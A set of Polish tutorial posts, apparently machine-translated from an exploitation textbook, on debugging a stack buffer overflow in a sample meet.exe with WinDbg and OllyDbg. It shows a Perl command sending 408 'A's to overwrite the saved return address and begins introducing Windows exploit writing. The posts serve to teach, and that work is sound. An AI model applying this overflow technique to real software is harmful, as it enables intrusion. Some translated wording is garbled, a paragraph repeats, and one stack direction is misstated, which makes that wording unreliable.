Na podstawie śladu stosu (lub kodu) możesz zobaczyć, że powitanie jest przekazywane do programu jako znak * dwa argumenty. Więc możesz się zastanawiać, "jak obecnie jest ułożony stos?" Spójrzmy na zmienne lokalne i zmapujmy je.

0:000> dv /V
0012fed4 @ebp+0x08 temp1 = 0x00320e15 "Mr"
0012fed8 @ebp+0x0c temp2 = 0x00320e18 "Haxor"
0012fd3c @ebp-0x190 name = char [400] "???"

Nazwa zmiennej to 0x190 powyżej ebp. Jeśli nie myślisz szesnastkowo, musisz przekonwertować to na dziesiętne, aby złożyć obraz stosu. Możesz użyć calc.exe, aby to obliczyć lub po prostu poprosić debugera o pokazanie wartości 190 w różnych formatach, na przykład:

0:000 > .formats 190
Oceń wyrażenie:
Hex: 00000190
Decimal: 400

Wygląda więc na to, że nazwa naszej zmiennej to 0x190 (400) bajtów powyżej ebp. Nasze dwa argumenty znajdują się kilka bajtów po ebp. Zróbmy obliczenia i zobaczmy, ile dokładnie bajtów znajduje się między zmiennymi, a następnie zrekonstruujmy całą ramkę stosu. Jeśli podążasz dalej, przejdź obok prologu funkcji, w którym prawidłowe wartości są zdejmowane ze stosu zanim spróbujesz dopasować liczby. Za chwilę przejdziemy przez zgromadzenie. Na razie wystarczy trzykrotnie nacisnąć klawisz P, aby ominąć prolog, a następnie wyświetlić rejestry. (pr wyłącza i włącza wyświetlanie rejestru po drodze.)

0:000> pr
meet!greeting+0x1:
00401021 8bec mov ebp,esp
0:000> p
meet!greeting+0x3:
00401023 81ec90010000 sub esp,0x190
0:000> pr
eax=00320e15 ebx=7ffdf000 ecx=00320e18 edx=00320e00 esi=00000000 edi=00085f38
eip=00401029 esp=0012fd3c ebp=0012fecc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206
meet!greeting+0x9:
00401029 8b450c mov eax,[ebp+0xc] ss:0023:0012fed8=00320e18

W porządku, stwórzmy obraz stosu, zaczynając od góry tej ramki stosu (esp). W esp (dla nas 0x0012fd3c; dla Ciebie może być inaczej) znajdujemy nazwę zmiennej funkcji, która następnie przechodzi przez następne 400 (0x190) bajtów. Zobaczmy, co będzie dalej:

0:000> .formats esp+190
Oceń wyrażenie:
Hex: 0012fecc

OK, esp + 0x190 (lub esp + 400 bajtów) to 0x0012fecc. Ta wartość wygląda znajomo. W rzeczywistości, jeśli spojrzysz na wyświetlanie poprzednich rejestrów (lub użyjesz polecenia r), zobaczysz, że ebp to 0x0012fecc. Więc ebp jest przechowywany bezpośrednio po nazwie. Wiemy, że ebp to 4-bajtowy wskaźnik, więc zobaczmy, co jest później.

0:000> dd esp+190+4 l1
0012fed0 00401076

UWAGA: I1 (litera l, po której następuje cyfra 1) po adresie mówi debugerowi, aby wyświetlał tylko jeden z wyświetlanych typów. W tym przypadku wyświetlamy podwójne słowa (4 bajty) i chcemy wyświetlić jedno (1) z nich.

To kolejna wartość, która wygląda znajomo. Tym razem jest to adres zwrotny funkcji:
0:000> k
ChildEBP RetAddr
0012fecc 00401076 meet!greeting+0x9
0012fedc 004013a0 meet!main+0x16
0012ffc0 77e7eb69 meet!mainCRTStartup+0x170
0012fff0 00000000 kernel32!BaseProcessStart+0x23

Kiedy skorelujesz następny sąsiedni adres pamięci i ślad stosu, zobaczysz, że adres zwrotny (zapisany eip) jest przechowywany jako następny na stosie. A po eip przychodzą parametry funkcji, które zostały przekazane:

0: 000> dd esp + 190 + 4 + 4 l1
0012fed4 00320e15
0: 000> db 00320e15
00320e15 4d 72 00 48 61 78 6f 72-00 fd fd fd fd ab ab ab Mr.Haxor …


Powrót

26.11.2020

Asemblacja za pomocą CDB

Aby zdemontować za pomocą debugera systemu Windows, użyj polecenia u lub uf (funkcja niezasemblowana). Polecenie u spowoduje rozmontowanie kilku instrukcji, a kolejne polecenia u spowoduje demontaż kilku następnych instrukcji. W tym przypadku, ponieważ chcemy zobaczyć całą funkcję, użyjemy uf.

0:000> uf meet!greeting
meet!greeting:
00401020 55 push ebp
00401021 8bec mov ebp,esp
00401023 81ec90010000 sub esp,0x190
00401029 8b450c mov eax,[ebp+0xc]
0040102c 50 push eax
0040102d 8d8d70feffff lea ecx,[ebp-0x190]
00401033 51 push ecx
00401034 e8f7000000 call meet!strcpy (00401130)
00401039 83c408 add esp,0x8
0040103c 8d9570feffff lea edx,[ebp-0x190]
00401042 52 push edx
00401043 8b4508 mov eax,[ebp+0x8]
00401046 50 push eax
00401047 68405b4100 push 0x415b40
0040104c e86f000000 call meet!printf (004010c0)
00401051 83c40c add esp,0xc
00401054 8be5 mov esp,ebp
00401056 5d pop ebp
00401057 c3 ret

Jeśli porównasz ten demontaż z demontażem utworzonym w systemie Linux, okaże się, że jest on prawie identyczny. Drobne różnice dotyczą doboru rejestrów i semantyki.


Powrót

27.11.2020

Debugowanie w systemie Windows za pomocą OllyDbg

Popularnym debugerem w trybie użytkownika jest OllyDbg, który można znaleźć na stronie www.ollydbg.de. Jak widać na rysunku


, główny ekran OllyDbg jest podzielony na cztery sekcje. Sekcja Kod służy do przeglądania asemblacji pliku binarnego. Sekcja Rejestry służy do monitorowania stanu rejestrów w czasie rzeczywistym. Sekcja Hex Dump służy do przeglądania nieprzetworzonego kodu szesnastkowego pliku binarnego. Sekcja Stos służy do przeglądania stosu w czasie rzeczywistym. Każda sekcja ma menu kontekstowe dostępne po kliknięciu prawym przyciskiem myszy w tej sekcji. Możesz rozpocząć debugowanie programu za pomocą OllyDbg na trzy sposoby:

•  Otwórz program OllyDbg; następnie wybierz Plik | Otwarty.
•  Otwórz program OllyDbg; następnie wybierz Plik | Dołącz.
•  Wywołaj z wiersza poleceń, na przykład z powłoki Metasploit w następujący sposób:
$Perl -e "exec '< path to olly >', 'program to debug', '< arguments >'"

Na przykład, aby zdebugować nasz ulubiony plik meet.exe i wysłać go 408 As, po prostu wpisz
$ Perl -e "exec 'F: \\ toolz \\ odbg110 \\ OLLYDBG.EXE', 'c: \\ meet.exe', 'Mr', ('A' x 408)"

Powyższa linia poleceń uruchomi meet.exe w OllyDbg. Podczas nauki OllyDbg będziesz chciał znać następujące typowe polecenia. Na przykład, aby zdebugować nasz ulubiony plik meet.exe i wysłać go 408 As, po prostu wpisz

$ Perl -e "exec 'F: \\ toolz \\ odbg110 \\ OLLYDBG.EXE', 'c: \\ meet.exe', 'Mr', ('A' x 408)"

Powyższa linia poleceń uruchomi meet.exe w OllyDbg. Podczas nauki OllyDbg będziesz chciał znać następujące typowe polecenia.

Skrót: Cel

F2: Ustaw punkt przerwania (bp)
F7: Wejdź do funkcji
F8: Przejdź przez funkcję
F9: Kontynuuj do następnego bp, wyjątku lub wyjścia
CTRL-K: Pokaż drzewo wywołań funkcji
SHIFT-F9: Przekaż wyjątek do programu do obsługi
Kliknij sekcję kodu, naciśnij ALT-E, aby wyświetlić listę połączonych modułów wykonywalnych: Lista połączonych modułów wykonywalnych
Kliknij prawym przyciskiem myszy wartość rejestru, wybierz opcję Follow in Stack lub Follow in Dump: Spójrz na stos lub lokalizację pamięci, która odpowiada wartości rejestru
CTRL-F2: uruchom ponownie debuger

Po uruchomieniu programu w OllyDbg debugger automatycznie zatrzymuje się. Pozwala to ustawić punkty przerwania i zbadać cel sesji debugowania przed kontynuowaniem. Zawsze dobrze jest zacząć od sprawdzenia, jakie moduły wykonywalne są połączone z naszym programem (ALT-E). W tym przypadku widzimy, że tylko kernel32.dll i ntdll.dll są połączone z Meet.exe. Te informacje są dla nas przydatne. Zobaczymy później, że te programy zawierają kody operacyjne, które są dostępne dla nas podczas wykorzystywania. Teraz jesteśmy gotowi do rozpoczęcia analizy tego programu. Ponieważ interesuje nas strcpy w funkcji powitania, znajdźmy go, zaczynając od okna Moduły wykonywalne, które już mamy otwarte (ALT-E). Kliknij dwukrotnie moduł Meet w oknie modułów wykonywalnych, a zostaniesz przeniesiony do wskaźników funkcji programu meet.exe. Zobaczysz wszystkie funkcje programu, w tym przypadku powitanie i główne. Przejdź strzałką w dół do wiersza "JMP meet.greeting" i naciśnij ENTER, aby zastosować tę instrukcję JMP do funkcji powitania.

UWAGA: jeśli nie widzisz nazw symboli, takich jak "powitanie", "Strcpy" i "printf", oznacza to, że plik binarny nie został skompilowany za pomocą symboli debugowania lub serwer symboli OllyDbg wymaga aktualizacji, kopiując pliki dbghelp.dll i symsrv.dll z katalogu debuggerów do folderu Ollydbg. To nie jest problem; są tam jedynie dla wygody użytkownika i można je obejść bez symboli.

Teraz, gdy patrzymy na funkcję powitania, ustawmy punkt przerwania w wywołaniu funkcji podatnej na ataki (strcpy). Strzałkami w dół, aż dojdziemy do linii 0x00401034. W tym wierszu naciśnij klawisz F2, aby ustawić punkt przerwania; adres powinien zmienić kolor na czerwony. Punkty przerwania pozwalają nam szybko wrócić do tego punktu. Na przykład w tym momencie ponownie uruchomimy program za pomocą CTRL-F2, a następnie naciśniemy F9, aby przejść do punktu przerwania. Powinieneś teraz zobaczyć, że OllyDbg zatrzymał się na wywołaniu funkcji, która nas interesuje (strcpy). Teraz, gdy mamy ustawiony punkt przerwania dla wywołania funkcji podatnej na ataki (strcpy), możemy kontynuować, przechodząc przez funkcję strcpy (naciśnij F8). Gdy rejestry się zmienią, zobaczysz, że zmieniają kolor na czerwony. Ponieważ właśnie wykonaliśmy wywołanie funkcji strcpy, powinieneś zobaczyć, że wiele rejestrów zmieniło kolor na czerwony. Kontynuuj przechodzenie przez program, aż dojdziesz do linii 0x00401057, która jest RETN z funkcji powitania. Zauważysz, że debugger zdaje sobie sprawę, że funkcja za chwilę powróci i dostarcza użytecznych informacji. lub na przykład, ponieważ zapisany eip został nadpisany czterema As, debugger wskazuje, że funkcja ma powrócić do 0x41414141. Zwróć także uwagę, jak funkcja epilog skopiowała adres esp do ebp, a następnie umieściła cztery As w tej lokalizacji (0x0012FF64 na stosie).

Zgodnie z oczekiwaniami, po ponownym naciśnięciu klawisza F8 program uruchomi wyjątek. Nazywa się to wyjątkiem pierwszej szansy, ponieważ debugger i program mają szansę obsłużyć wyjątek przed awarią programu. Możesz przekazać wyjątek do programu naciskając SHIFT-F9. W tym przypadku, ponieważ nie ma żadnych programów obsługi wyjątków, program ulega awarii.

Po awarii programu możesz kontynuować sprawdzanie lokalizacji pamięci. Na przykład możesz kliknąć sekcję stosu i przewinąć w górę, aby zobaczyć poprzednią ramkę stosu (z której właśnie wróciliśmy, która jest teraz wyszarzona). Możesz zobaczyć (w naszym systemie), że początek naszego złośliwego bufora był pod adresem 0x0012FDD0. Aby kontynuować sprawdzanie stanu uszkodzonej maszyny, w sekcji stosu przewiń w dół do bieżącej ramki stosu (bieżąca ramka stosu zostanie podświetlona). Możesz także powrócić do bieżącej ramki stosu, klikając wartość rejestru ESP, aby ją zaznaczyć, a następnie klikając prawym przyciskiem myszy wybraną wartość i wybierając opcję Śledź w stosie. Zauważysz, że kopia bufora również znajduje się w lokalizacji esp + 4. Takie informacje stają się cenne później, kiedy wybieramy wektor ataku. Ci z Was, którzy są stymulowani wizualnie, uznają OllyDbg za bardzo przydatne. Pamiętaj, OllyDbg działa tylko w przestrzeni użytkownika. Jeśli chcesz zagłębić się w przestrzeń jądra, będziesz musiał użyć innego debuggera, takiego jak WinDbg lub SoftIce.


Powrót

28.11.2020

Exploity systemu Windows

W tej sekcji nauczymy się wykorzystywać systemy Windows. Zaczniemy powoli, opierając się na wcześniejszych koncepcjach poznanych w rozdziałach dotyczących Linuksa. Następnie przejdziemy do rzeczywistości i będziemy pracować nad exploitem dla systemu Windows w prawdziwym świecie.

Tworzenie podstawowego exploita dla systemu Windows

Teraz, gdy nauczyłeś się debugowania w systemie Windows, dezasemblacji w systemie Windows i układu stosu systemu Windows, jesteś gotowy do napisania exploita dla systemu Windows! Ta sekcja będzie odzwierciedlać przykłady exploitów, które wykonałeś w systemie Linux, aby pokazać, że te same rodzaje exploitów są pisane w ten sam sposób w systemie Windows. Ostatecznym celem tej sekcji jest spowodowanie, aby meet.exe uruchomił wybrany przez nas plik wykonywalny na podstawie kodu powłoki przekazanego jako argumenty. Użyjemy kodu powłoki napisanego przez H.D. Moore za projekt Metasploit. Zanim jednak będziemy mogli upuścić kod powłoki w argumentach funkcji meet.exe, musimy najpierw udowodnić, że możemy najpierw zawiesić działanie pliku meet.exe, a następnie sterować eip zamiast awarii, a na koniec przejść do naszego kodu powłoki.
Powrót